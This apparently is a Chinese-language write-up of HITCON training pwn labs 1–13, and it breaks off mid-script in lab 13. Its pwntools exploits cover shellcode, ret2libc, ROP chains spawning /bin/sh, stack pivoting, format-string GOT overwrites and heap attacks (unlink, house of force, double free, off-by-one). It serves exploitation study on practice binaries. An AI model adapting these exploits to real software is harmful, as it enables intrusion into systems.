hitcon lab1-lab14

lab 1

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0840aeca8337fc97ba1134067d05ee2563b3f4ce, not stripped
checksec sysmagic 
[*] '/home/hu/Documents/hitcont/lab1/sysmagic'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

直接用gdb进行调试就行,把断点下在scanf 处。
scanf
在此时查看buf内存
buf
输入168217215(0xA06CA7F)
flag

lab2( pwnable.tw,可以在这上面试试远程)

源码

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
//可以看出什么保护都没有
//因为存在这两句话,所以不能直接get shell
  prctl(38, 1, 0, 0, 0);
  prctl(22, 2, &v1);
//从这两行代码结合它什么保护都没有可以看出,需要我们自己构造shellcode,读flag
  printf("Give my your shellcode:");
  read(0, &shellcode, 0xC8u);
  ((void (*)(void))shellcode)();

这里给大家介绍两种方法
int 0x80

#第一种,自己构造
#查系统调用,可以知道read 0x3, write 0x4,read 0x5 。
‘’‘我们需要构造
fd=open("flag")
read(fd,buf,0x100)
write(1,buf,0x100)
’‘’

exp

from pwn import *
from pwn import shellcraft 
context.log_level='debug'
# one

shellcode1= shellcraft.pushstr('/home/orw/flag')
shellcode1+=shellcraft.open('esp')
shellcode1+=shellcraft.read('eax','esp',0x100)
shellcode1+=shellcraft.write(1,'esp',0x100)
print(shellcode)
print(asm(shellcode))
#p=process('./orw.bin')
p= remote("chall.pwnable.tw","10001")
p.sendlineafter('shellcode:',asm(shellcode1))
print p.recvall()
p.close()
# two
#这里还没完全弄懂push 0x1010101;xor dword ptr [esp],0x1016660的意义
shellcode ='push 0x1010101;xor dword ptr [esp],0x1016660;push 0x6c662f77;push 0x726f2f65;push 0x6d6f682f;mov ebx,esp;xor ecx,ecx;xor edx,edx;;mov eax,0x5int 0x80;'\
'mov ebx,eax;mov ecx,esp;mov edx,0x100;mov al,0x3;int 0x80;'\
'xor ebx,ebx;mov bl,0x1;mov edx,0x100;xor eax,eax;mov al,0x4;int 0x80;'
p= remote("chall.pwnable.tw","10001")
p.sendlineafter('shellcode:',asm(shellcode))
print p.recvall()
p.close()

lab3

$ file ret2sc 
ret2sc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=31484b774646e78186848556eae669af027787ce, not stripped

$ checksec ret2sc 
[*] '/home/hu/Documents/hitcont/lab3/ret2sc'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

什么保护也没开

  char s; // [esp+1Ch] [ebp-14h]
  setvbuf(stdout, 0, 2, 0);
  printf("Name:");
  read(0, &name, 0x32u);
  printf("Try your best:");
  return (int)gets(&s);

分析一下源码,发现可以直接向那么写入shellcode,然后覆盖用name地址覆盖ret。
但是有一点需要注意,并不能直接通过ida里面所给出s相对偏移来进行填充,需要在gdb里面跑一下才能计算出具体的偏移
主要原因是有这行代码

text:080484D0                 and     esp, 0FFFFFFF0h //会将ebp对其,使得ebp与s的相对偏移不在是0x14
[----------------------------------registers-----------------------------------]
EAX: 0xf7fb5dbc --> 0xffffcf7c --> 0xffffd178 ("XDG_VTNR=7")
EBX: 0x0
[----------------------------------registers-----------------------------------]
EAX: 0xffffcebc --> 0xf7e30c0b (<__GI___cxa_atexit+27>: add    esp,0x10)
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7fb5870 --> 0x0
ESI: 0xf7fb4000 --> 0x1b1db0
EDI: 0xf7fb4000 --> 0x1b1db0
EBP: 0xffffced8 --> 0x0
ESP: 0xffffcea0 --> 0x80485d6 ("Try your best:")
EIP: 0x8048533 (<main+102>:     mov    DWORD PTR [esp],eax)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048523 <main+86>: mov    DWORD PTR [esp],0x80485d6
   0x804852a <main+93>: call   0x8048380 <printf@plt>
   0x804852f <main+98>: lea    eax,[esp+0x1c]
=> 0x8048533 <main+102>:        mov    DWORD PTR [esp],eax
   0x8048536 <main+105>:        call   0x8048390 <gets@plt>
   0x804853b <main+110>:        nop
   0x804853c <main+111>:        leave
   0x804853d <main+112>:        ret
[------------------------------------stack-------------------------------------]
0000| 0xffffcea0 --> 0x80485d6 ("Try your best:")
0004| 0xffffcea4 --> 0x804a060 --> 0xa6b73 ('sk\n')
0008| 0xffffcea8 --> 0x32 ('2')
0012| 0xffffceac --> 0x0
0016| 0xffffceb0 --> 0x1
0020| 0xffffceb4 --> 0xffffcf74 --> 0xffffd151 ("/home/hu/Documents/hitcont/lab3/ret2sc")
0024| 0xffffceb8 --> 0xffffcf7c --> 0xffffd178 ("XDG_VTNR=7")
0028| 0xffffcebc --> 0xf7e30c0b (<__GI___cxa_atexit+27>:        add    esp,0x10)

offset = |esp +0x1c - ebp |=|0xffffcea0 +0x1c - 0xffffced8 |= 0x1c
payload = ‘a’* (0x1c +4) + p32(&name)
exp

from pwn import *
from pwn import shellcraft
context.log_level="debug"
p = process('./ret2sc')
name = 0x0804A060
shellcode = shellcraft.i386.linux.sh()
#print len(asm(shellcode))
p.sendafter('Name:',asm(shellcode))
payload = 'a'*(0x1c+4)+p32(name)
p.sendlineafter('Try your best:',payload)
p.interactive()

lab4

$ file ret2lib 
ret2lib: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=c74b2683d6d3b99439c3e04d6d81b233e6a3b1b6, not stripped
$ checksec ret2lib 
[*] '/home/hu/Documents/hitcon_train/lab4/ret2lib'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

漏洞点

main
{
  ...
  v8 = (_DWORD *)strtol(&buf, v3, v4);//我们要通过输入一个10进制的地址(随便找一个地址转换成10进制就行)
  ···
  read(0, &src, 0x100u);
  Print_message(&src);
  ...
  }
Print_message(char *src)
{
  char dest; // [esp+10h] [ebp-38h] 

  strcpy(&dest, src); //覆盖ret
  return printf("Your message is : %s", &dest);
}

exp

from pwn import *
from LibcSearcher import *
import time
context.log_level = 'debug'
p = process('./ret2lib')
elf = ELF('./ret2lib')
main = 0x0804857D
raw_input()
#################### leak ##########################
p.recvuntil('Give me an address (in dec) :')

p.send(str(134514000))

p.recvuntil('Leave some message for me :')

#print elf.plt['puts']
payload = 'a'*(0x38+4) + p32(elf.plt['puts']) +p32(main) + p32(elf.got['puts']) +'\x00'
p.send(payload)
length = len('Your message is : '+payload)-1
put_libc = p.recv()[length:length+4].ljust(4,'\x00')
puts = u32(put_libc)

##################### get system binsh ##################

libc = LibcSearcher('puts',puts)
libcbase = puts - libc.dump('puts')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh') 
print('system=',hex(system),'binsh=',hex(binsh))

##################### getshell ######################

p.send(str(134514000))
p.recvuntil('Leave some message for me :')
payload = 'a'*(0x38+4) + p32(system) +'dead' + p32(binsh) +'\x00'
p.send(payload)
#p.recv()//疑问点
p.interactive()

在这个程序里面,有个疑问点。为什么不用接受第二次调用Print_message(&src)函数–>printf(“Your message is : %s”, &dest);中发出的字符串?对printf 的内部结构还需要进一步了解。

lab5

$ file simplerop 
simplerop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=bdd40d725b490b97d5a25857a6273870c7de399f, not stripped
$ checksec simplerop 
[*] '/home/hu/Documents/hitcon_train/lab5/simplerop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

源码

  int v4; // [esp+1Ch] [ebp-14h]

  puts((int)"ROP is easy is'nt it ?");
  printf((int)"Your input :");
  fflush(stdout);
  return read(0, &v4, 100)

这道题并不像以往一样有动态链接库,它是静态链接的statically linked。所以我们并不能像之前一样泄露libc,得到libc base,然后计算出system ,bin_sh,我们必须换种思路。
我们利用ROPgadget跑一下,找到一些gadget。构造execve("/bin/sh")。

  1. 先利用mov dword ptr [edx], eax ; ret向bss段写入"/bin/sh"
  2. int 0x80; eax=0xb; ebx=bss; ecx=0; edx=0。int 0x80; eax=0xb; ebx=bss; ecx=0; edx=0。

       [+] Gadget found: 0x80493e1 int 0x80
        p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x0806e82a) # pop edx ; ret
        p += pack('<I', 0x080bae06) # pop eax ; ret
        0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret
pop_edx_ecx_ebx = 0x0806e850
int_80 =0x080493e1
bss = 0x80ea060
#pop_ecx_pop_ebx = 0x0806e851
pop_edx = 0x0806e82a
pop_eax = 0x80bae06
mov_ledxl_eax = 0x809a15d
payload = 'a'*(0x1c+4)+p32(pop_edx)+p32(bss)+p32(pop_eax)+'/bin'+p32(mov_ledxl_eax)
payload += p32(pop_edx)+p32(bss+4)+p32(pop_eax)+'/sh\x00'+p32(mov_ledxl_eax)
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)+p32(pop_eax)+p32(0xb)
#payload +=p32(pop_ecx_pop_ebx)+p32(0)+p32(bss)+p32(pop_edx)+p32(0)+p32(pop_eax)+p32(0xb)
payload +=p32(int_80)

完整exp

from pwn import *
context.log_level = 'debug'
p=process('./simplerop')


pop_edx_ecx_ebx = 0x0806e850
int_80 =0x080493e1
bss = 0x80ea060
pop_ecx_pop_ebx = 0x0806e851
pop_edx = 0x0806e82a
pop_eax = 0x80bae06
mov_ledxl_eax = 0x809a15d
payload = 'a'*(0x1c+4)+p32(pop_edx)+p32(bss)+p32(pop_eax)+'/bin'+p32(mov_ledxl_eax)
payload += p32(pop_edx)+p32(bss+4)+p32(pop_eax)+'/sh\x00'+p32(mov_ledxl_eax)
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)+p32(pop_eax)+p32(0xb)
#payload +=p32(pop_ecx_pop_ebx)+p32(0)+p32(bss)+p32(pop_edx)+p32(0)+p32(pop_eax)+p32(0xb)
payload +=p32(int_80)
p.sendafter('Your input :',payload)

p.interactive()

有个疑问,当传入int 0x80的三个参数时,如果分开传会有问题,pop_ecx_pop_ebx_ret+pop_edx_ret 无法达到 pop_edx_ecx_ebx_ret的效果。望路过的大神们指点!!!

lab6

$ file migration
migration: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e65737a9201bfe28db6fe46f06d9428f5c814951, not stripped
$ checksec migration
[*] '/home/hu/Documents/hitcon_train/lab6/migration'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

源码

  char buf; // [esp+0h] [ebp-28h]

  if ( count != 1337 ) // 限制了我们再次调用main函数
    exit(1);
  ++count;
  setvbuf(_bss_start, 0, 2, 0);
  puts("Try your best :");
  return read(0, &buf, 0x40u);//0x40 - 0x28 -4 =20 =5个32位代码片

这次的rop比以往要难一些,我们的输入很少,而且只能调用main函数一次。
所以要用到栈迁移。
解释一下用到的关键gadget ----> leave
leave = mov esp,ebp ; pop ebp;

from pwn import *
from LibcSearcher import *
context.log_level ='debug'
elf = ELF('./migration')
p = process('./migration')
buf1 = elf.bss()+0x600 #我们需要在bss段找到一个地方存放rop chain
buf2 = elf.bss()+0x700 
leave = 0x08048418
pop_1 = 0x0804836d
#0x08048418 : leave ; ret
#0x0804836d : pop ebx ; ret
##########esp from strack to bss,add read size##########
payload = 'a'*0x28
payload+=p32(buf1)+p32(elf.plt['read'])+p32(leave)+p32(0)+p32(buf1)+p32(0x100) #当main函数leave 时,ebp 被赋 buf1,当执行到 payload中的leave时,mov esp,ebp 就将esp转向buf1。
p.sendafter('Try your best :\n',payload)

########## leak ###################

payload1 = p32(buf2)+p32(elf.plt['puts'])+p32(pop_1)+p32(elf.got['puts'])+p32(elf.plt['read'])+p32(leave)+p32(0)+p32(buf2)+p32(0x100)
p.send(payload1)
puts_adr = p.recv(4).ljust(4,'\x00')

puts = u32(puts_adr)
print puts
#########get system ,binsh
libc = LibcSearcher('puts',puts)
libcbase = puts - libc.dump('puts')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')
print(hex(system),hex(binsh))

#########get shell

payload2 = p32(buf1)+p32(system)+p32(0)+p32(binsh)
p.send(payload2)



p.interactive()

lab7

$ file crack
crack: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=66ea82f29539f0da4643036bca734fcd9b4791f9, not stripped
$ checksec crack
[*] '/home/hu/Documents/hitcon_train/lab7/crack'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

源码

  v8 = __readgsdword(0x14u);
  setvbuf(_bss_start, 0, 2, 0);
  v3 = time(0);
  srand(v3);
  fd = open("/dev/urandom", 0);
  read(fd, &password, 4u);
  printf("What your name ? ");
  read(0, &buf, 0x63u);
  printf("Hello ,");
  printf(&buf); //格式化字符串漏洞
  printf("Your password :");
  read(0, &nptr, 0xFu);
  if ( atoi(&nptr) == password )
  {
    puts("Congrt!!");
    system("cat /home/crack/flag");
  }
  else
  {
    puts("Goodbyte");
  }

可以利用printf重写password,或者将system_plt 写入atoi_got,或者利用%s leak password

exp1:重写password

from pwn import *
context.log_level ='debug'
password = 0x0804A048
p = process('./crack')
#p.sendafter('What your name ? ',)
offset = 10
# def payload1(n):
#     return ('abcd'+'%'+str(n)+'$p'+'%p-'*30)
payload = fmtstr_payload(10,{password:1234})
p.sendafter('What your name ? ',payload)
p.sendafter('Your password :','1234')
recv =p.recv()
p.interactive()

exp2:将system_plt 写入atoi_got

from pwn import *
context.log_level ='debug'
password = 0x0804A048
elf = ELF('./crack')
p = process('./crack')
atoi = elf.got['atoi']
system = elf.plt['system']
paylaod = fmtstr_payload(10,{atoi:system})
p.sendafter('What your name ? ',paylaod)
p.sendafter('Your password :',ls'/bin/sh\x00')
p.interactive()

exp3: leak password

from pwn import *
context.log_level ='debug'
password = 0x0804A048
elf = ELF('./crack')
p = process('./crack')
payload =  p32(password) + '|%10$s|'
p.sendafter('What your name ? ',payload)
p.recvuntil('|')
leak = u32(p.recvuntil('|',drop=True))
p.sendafter('Your password :',str(leak))
p.recv()
p.interactive()

lab8

题目很简单
先算出格式化字符串的相对偏移
然后直接用pwntools 中的fmtstr_payload 构造出相应payload改写magic
exp

from pwn import *
context.log_level='debug'
p = process('./craxme')
p.recvuntil('Give me magic :')
magic = 0x0804A038

offset = 7
##计算offset的function
# def payload1(n):
#     return ('abcd'+'%p-'*n)
# p.send(payload1(30))
# recv=p.recv()
# li = recv.split('-')
# new = []
# offset =0
# for i in li:
#     offset+=1
#     if i == '0x64636261':
#         print('offset='+str(offset))
#         break


payload = fmtstr_payload(offset,{magic:218})
p.send(payload)
p.recv()
p.interactive()

lab9

这个有点难度了,在做的时候,遇到了很多坑
source code

int do_fmt()
{
  int result; // eax

  while ( 1 )
  {
    read(0, buf, 0xC8u); //buf是bss,不在栈上
    result = strncmp(buf, "quit", 4u);
    if ( !result )
      break;
    printf(buf);
  }
  return result;
}

因为输入在bss上,所以无法通过直接在栈上构造payload来leak libc函数和覆写got表。
因为我们要利用%x、%s来leak,%n来覆写,需要一个指针链才能利用这些格式参数
在这里我们要利用栈上的ebp链
ebp

利用过程

1. 选择两个相邻的ebp,计算出格式化字符串与他们的距离,同时我们还需要两个地方用来存printf 的got表。在这里我们选择与两个ebp相邻的单元。(这是因为相邻的单元里面存的是.text段的地址,这样在后面我们改写为相应的got表地址时只需要改两个字节就可以了,不需要改太多)
在gdb里面跑一下,我们可以很容易的得到这些
 ebp1_offset =6 ;f_7_offset =7;ebp2_offset =10;f_11_offset=11
2. 通过 payload = '%6$x'泄露出ebp2 地址,从而可以计算出f_7、ebp2、f_11的地址。
3. 通过 payload = '%'+str(f_7)+'c%6$hn'将ebp2中存的值改为f_7。这样我们能通过ebp2来改写f_7中存的值了,为什么不直接把ebp2中的值给改为printf_got呢?
		-  ebp2里面存的是stack的地址,我们如果要改写的话,必须使用%n,而如果使用%n的话,需要的时间非常的长,笔者试过了,跑到后面就出错了。
		-  所以在这里利用ebp2来改写f_7,因为f_7中存的是函数返回值,前面高两位字节与我们printf_got表的值是一样的
4. 通过payload ='%'+str(printf_got&0xffff)+'c%10$hn',将printf_got的后两个字节写入f_7,但是f_7存的是完整的printf_got。
5. 通过payload = '%'+str(f_11)+'c%6$hn'将ebp2中存的值改为f_11。
6. 通过payload ='%'+str(printf_got+2)+'c%10$hn',将printf_got的前两个字节写入f_11
7. 通过payload ='%7$s' leak出printf_libc地址,得到system
8. 通过payload ='%'+str(system&0xffff)+'c%7$hn'
	  payload+='%'+str(system>>16-system&0xffff)+'c%11$hn' #这里是因为%hn所写的是前面所有输出字符的总的个数,所以这里要减去前面输入的system&0xffff个字符
9. send('/bin/sh\x00') getshell

完整exp

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
p = process('./playfmt')
elf =ELF('./playfmt')
def ready():
    p.recvuntil('Server\n')
    p.recvuntil('=====================\n')
# 0xffffce80 fmst
# stack  0xffffce98 --> 0xffffcea8 --> 0xffffceb8 
offset1 = (0xffffce98 - 0xffffce80)/4
offset2 = (0xffffcea8 - 0xffffce80)/4
print offset1,offset2
#######################get ebp#################
ready()
printf_got = elf.got['printf']
payload ='%'+str(offset1)+'$x' #ebp2
p.send(payload)
ebp=p.recv()

ebp2=int(ebp[:8],16)
ebp1=ebp2 - (offset2-offset1)*4
f_7 = ebp1+0x4
f_11 = ebp2+0x4
print ebp1,ebp2,f_7,f_11



################leak printf libc#########
payload1 = '%'+str(f_7&0xffff)+'c%6$hn\x00'
p.send(payload1)
p.recv()
payload2 = '%'+str(printf_got&0xffff)+'c%10$hn\x00'
p.send(payload2)
p.recv()
while True:#recv()一次只能接受0x1000个字节,所以我们要将前面输入的大量字符给recv()完,
    p.send('huhua')#在这里,我们给这些字符串做个标记‘huhua’,当我们接受不到带有这个标记
    sleep(0.1)#的字符串后,代表前面%hn写的数据已经全部接受完。
    data = p.recv()
    if data.find('huhua') != -1:
        break

payload1 = '%'+str(f_11&0xffff)+'c%'+str(offset1)+'$hn\x00'
p.send(payload1)
p.recv()
payload2 = '%'+str((printf_got+2)&0xffff)+'c%'+str(offset2)+'$hn\x00'
p.send(payload2)
p.recv()
while True:
    p.send('huhua')
    sleep(0.1)
    data = p.recv()
    if data.find('huhua') != -1:
        break


payload='aaaa%'+'7$s'
p.send(payload)
p.recvuntil('aaaa')
printf = u32(p.recv()[:4])
print printf
libc = LibcSearcher('printf',printf)
libcbase = printf - libc.dump('printf')
system = libcbase + libc.dump('system')
print libcbase,system


###########write system to printf_got##########
payload = '%'+str(system&0xffff)+'c%7$hn'
payload+='%'+str((system>>16)-system&0xffff)+'c%11$hn'
p.send(payload)
p.recv()

while True:
    p.send('huhua')
    sleep(0.1)
    data = p.recv()
    if data.find('huhua')!=-1 :
        break
#############get shell######################
p.send('/bin/sh\x00')
p.interactive()

lab10

终于到堆得学习了。。。
这道题目之前做过,是个use_after_free类型的题,结合了一下fast bin的特点。
直接贴链接了点点
exp

from pwn import *
context.log_level='debug'
p = process('./hacknote')

elf = ELF('./hacknote')
magic =0x08048986
def add_note(size,content):
    p.send('1')
    p.sendafter('Note size :',str(size))
    p.sendafter('Content :',content)
    p.recvuntil('Success !\n')
def del_note(index):
    p.send('2')
    p.sendafter('Index :',str(index))
    p.recvuntil('Success\n')
def printf_note(index):
    p.send('3')
    p.sendafter('Index :',str(index))
def menu():
    p.recvuntil('Your choice :')

menu()
add_note(30,'a'*7)
menu()
add_note(30,'a'*7)
menu()
del_note(0)
menu()
del_note(1)

menu()
add_note(8,p32(magic))

menu()
printf_note(0)

p.interactive()

lab11

方法一

这是一个堆题,我想到的方法是unlink。第一次完全自己刚出来的,开心一下~~
贴一下漏洞

//关键是这个change函数,我们在add函数里面创建了
//chunk,但是在change的时候可以进行任意长度的写
//使得我们可以很方便的构造chunk,进行unlink
change{
...
printf("Please enter the length of item name:", &buf);
read(0, &nptr, 8uLL);
v0 = atoi(&nptr);
printf("Please enter the new name of the item:", &nptr);
*(_BYTE *)(qword_6020C8[2 * v2] + (signed int)read(0, (void *)qword_6020C8[2 * v2], v0)) = 0;
...
}

step1 — 基本工作

from pwn import *
from LibcSearcher import *
context.log_level='debug'
p = process('./bamboobox')

elf = ELF('./bamboobox')

def show():
    p.sendafter('Your choice:','1')
    return(p.recvuntil('----------------------------\n',drop=True))

def add(length,name):
    p.sendafter('Your choice:','2')
    p.sendafter('Please enter the length of item name:',str(length))
    p.sendafter('Please enter the name of item:',name)

def change(index,length,name):
    p.sendafter('Your choice:','3')
    p.sendafter('index of item:',str(index))
    p.sendafter('length of item name:',str(length))
    p.sendafter('name of the item:',name)

def remove(index):
    p.sendafter('Your choice:','4')
    p.sendafter('the index of item:',str(index))
    p.recvuntil('remove successful!!\n')

itemlist =0x00000000006020C0 #length
name =0x00000000006020C8 #name malloc_ptr
aim=name+0x10*2 #这是我们最重要写的地方,要写的数据是fd
fd =aim -0x18#避过检查
bk =aim -0x10
 #after unlink ,*aim will = fd

add(0x90,'a'*30)#0
add(0x90,'a'*30)#1
add(0x90,'a'*30)#2 ##在chunk2里面构造chunk
add(0x90,'a'*30)#3 ##通过free chunk3,实现unlink
add(0x90,'a'*30)#4

step2 — unlink

payload = p64(0)+p64(0x91)+p64(fd)+p64(bk)+'a'*0x70+p64(0x90)+p64(0xa0) 
change(2,len(payload),payload)

remove(3)

实现对aim写fd的值

step3—leak free_got to get libcbase and system

payload = p64(0x90)+p64(elf.got['free'])
change(2,len(payload),payload)

recv = show()[0x26:(0x26+6)].ljust(8,'\x00')
free_got = u64(recv)
print(hex(u64(recv)))

libc =LibcSearcher('free',free_got)
libcbase = free_got - libc.dump('free')
system = libcbase + libc.dump('system')

因为现在的qword_6020C8[2](存name地址的地方)已经存了
qword_6020C8[1]-0x8的地址,所以我们输入p64(任
意)+p64(free_got)通过change index=2 来改变qword_6020C8[1]
为free_got,然后通过show 来leak free 的libc,从而算出system。

step4

现在就要利用了,关于利用,第一个想到的是用system 覆写free的got表,但是我试了多次,发现free的got表修改不了,可能是受了保护。只能另寻对象了,最后找到了
perfect
atoi函数。非常友好。于是利用一波。

step5 —getshell

payload = p64(0x90)+p64(elf.got['atoi'])
change(2,len(payload),payload)

change(1,0x8,p64(system))

p.sendafter('Your choice:','/bin/sh\x00')

p.interactive()

完整exp

from pwn import *
from LibcSearcher import *
context.log_level='debug'
p = process('./bamboobox')

elf = ELF('./bamboobox')

def show():
    p.sendafter('Your choice:','1')
    return(p.recvuntil('----------------------------\n',drop=True))

def add(length,name):
    p.sendafter('Your choice:','2')
    p.sendafter('Please enter the length of item name:',str(length))
    p.sendafter('Please enter the name of item:',name)

def change(index,length,name):
    p.sendafter('Your choice:','3')
    p.sendafter('index of item:',str(index))
    p.sendafter('length of item name:',str(length))
    p.sendafter('name of the item:',name)

def remove(index):
    p.sendafter('Your choice:','4')
    p.sendafter('the index of item:',str(index))
    p.recvuntil('remove successful!!\n')

itemlist =0x00000000006020C0 #length
name =0x00000000006020C8 #name malloc_ptr
aim=name+0x10*2
fd =aim -0x18
bk =aim -0x10
 #after unlink ,*aim will = fd

add(0x90,'a'*30)#0
add(0x90,'a'*30)#1
add(0x90,'a'*30)#2
add(0x90,'a'*30)#3
add(0x90,'a'*30)#4

#####################unlink#################################################
payload = p64(0)+ p64(0x91)+p64(fd)+p64(bk)+'a'*0x70+p64(0x90)+p64(0xa0)
change(2,len(payload),payload)

remove(3)
#####################leak free_got to get libcbase and system################
payload = p64(0x90)+p64(elf.got['free'])
change(2,len(payload),payload)

recv = show()[0x26:(0x26+6)].ljust(8,'\x00')
free_got = u64(recv)
print(hex(u64(recv)))

libc =LibcSearcher('free',free_got)
libcbase = free_got - libc.dump('free')
system = libcbase + libc.dump('system')
#####################change atoi_got to system######################################

payload = p64(0x90)+p64(elf.got['atoi'])
change(2,len(payload),payload)

change(1,0x8,p64(system))

p.sendafter('Your choice:','/bin/sh\x00')

p.interactive()

方法二

house of force
在能堆溢出的情况下进行使用
通过修改top chunk size,实现任意地址写。
在这里插入图片描述
基本步骤如下(假设是64位程序)

  • malloc(size) 得到 chunk y (大小任意)(假设y这里指向的是这个chunk的presize域)
  • 向y中填充 ‘a’*size +p64(0)+p64(0xffffffffffffffff)
  • 假如想要修改的目标地址是 aim,那么我们接下来要malloc((aim-0x10)-(y-0x10)-size-0x10) =malloc(offset_aim2y- size- 0x30)
    在这里插入图片描述
  • malloc(0x10),就可以对aim进行任意写了

针对这道题的话,它先申请了一个0x10的chunk,里面存放了两个函数地址,在输入‘5’以后就执行chunk里面的函数,所以我们只要把magic写入这个chunk里面就行
exp

from pwn import *



context.log_level='debug'
context.terminal =['gnome-terminal','-x','sh','-c']

p = process('./bamboobox')



def show():
    p.sendafter('Your choice:','1')


def add(length,name):
    p.sendafter(':','2')
    p.sendafter('Please enter the length of item name:',str(length))
    p.recvuntil(':')
    p.send(name)

def change(index,length,name):
    p.sendafter(':','3')
    p.sendafter(':',str(index))
    p.sendafter(':',str(length))
    p.sendafter(':',name)

def remove(index):
    p.sendafter('Your choice:','4')
    p.sendafter('the index of item:',str(index))
    p.recvuntil('remove successful!!\n')


magic=0x0000000000400D49

aim2y = -0x10
size =0x60
add(size, "ddaa")  
payload = size * 'a' 
payload += p64(0)+ p64(0xffffffffffffffff)  

change(0, size+0x10, payload)


malloc_size = aim2y-size-0x30

add(malloc_size, "dada")
sleep(0.1)
show() #这里经常会有bug,通过加一show,把bug避过去
p.sendafter(':','2')
p.sendafter('Please enter the length of item name:',str(0x10))
p.recvuntil(':')
#pwnlib.gdb.attach(p)
p.send(p64(magic)*2)
p.recv()
p.send('5')
p.interactive()

lab12

这里用到的知识点是fastbin 中的 doublefree。(64位)
这里面要满足两个检查

  1. free 的检查
	/* Check that the top of the bin is not the record we are going to add
	   (i.e., double free).  */
	if (__builtin_expect (old == p, 0))
	  {
	    errstr = "double free or corruption (fasttop)";
	    goto errout;
	  }

在这里插入图片描述
要想doublefree ,必须在free相同的块的两次之间插一次相同大小的chunk的free。
2. malloc 的检查

#define fastbin_index(sz) \
  ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
...
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}

这个检测表示我们要构造的fake chunk的size域经过>>4后一定要满足它所在的fast bin单链表的下标,并且由于它的类型是(unsigned int),所以我们只要注意他的后四个字节就行。其实也就是fake chunk的size域要和我们free的chunk size一样。
整个流程如下
在这里插入图片描述
比如说我们要覆写got表,我们就要在got表中找到一个合适的地方。我们的free的chunk的size是0x60,那么我们在got表处找到0x601ffa,它的size域满足条件。
在这里插入图片描述

题目比较简单,就直接贴exp了

from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','sh','-c']
elf =ELF('./secretgarden')
p = process('./secretgarden')
def DEBUG(instruction,chose):
    if chose ==1:
        pwnlib.gdb.attach(p,instruction)
    else :
        pwnlib.gdb.attach(p)
def add(size,name,color):
    p.sendlineafter(': ','1')
    p.sendlineafter(':',str(size))
    p.sendafter(':',name)
    p.sendlineafter(':',color)
def visit():
    p.sendafter(': ','2')
    return p.recv()
def remove(index):
    p.sendlineafter(': ','3')
    p.sendlineafter(':',str(index))

def clean():
    p.sendafter(': ','4')
def exit():
    p.sendafter(': ','5')

magic = 0x0000000000400C7B
flowerlist = 0x00000000006020E0
instruction ='''
x/32xg 0x00000000006020E0
x/32xg 0x0000000000601FF8
'''

add(0x50,'abcd','1111')
add(0x50,'abcd','1111')

remove(0)
remove(1)
remove(0)
#DEBUG(instruction,1)
payload = p64(0x000000000601FFa)
add(0x50,payload,'1111')
add(0x50,'efgh','2222')
add(0x50,'abcd','1111')
add(0x50,'a'*6+p64(magic)*3,'1111')


p.interactive()

lab13

这是一个 利用off-by-one,实现chunk overlapping的题。
在这里面漏洞点主要在edit 里面的read
函数,多输入了一个数在这里插入图片描述
所以我们可以通过申请0x18类似的chunk,使得系统将后一个chunk的presize域作为该chunk的一部分。使得我们的最后一个字节可以修改到后一个chunk的size域。
我们通过修改后一个chunk的size域使得再次申请的两个chunk,大的chunk包含小的chunk,从而实现任意地址的读写。

add(0x18,'123')
add(0x10,'123')
payload = '/bin/sh\x00'+p64(0)+p64(0)+'\x41'
edit(0,payload)
delete(1)

在这里插入图片描述
在这里插入图片描述

完整exp

from pwn import *
from LibcSearcher import *
context.log_level ='debug'
context.terminal =['gnome-terminal','-x','sh','-c']
p = process('./heapcreator')

elf = ELF('./heapcreator')

def DEBUG(instruction,chose):
    if chose == 1:
        pwnlib.gdb.attach(p,instruction)
    else :
        pwnlib.gdb.attach(p)

def add(size,content):
    p.sendafter(':','1')
    p.sendafter(': ',str(size))
    p.sendafter(':',content)

def edit(index,content):
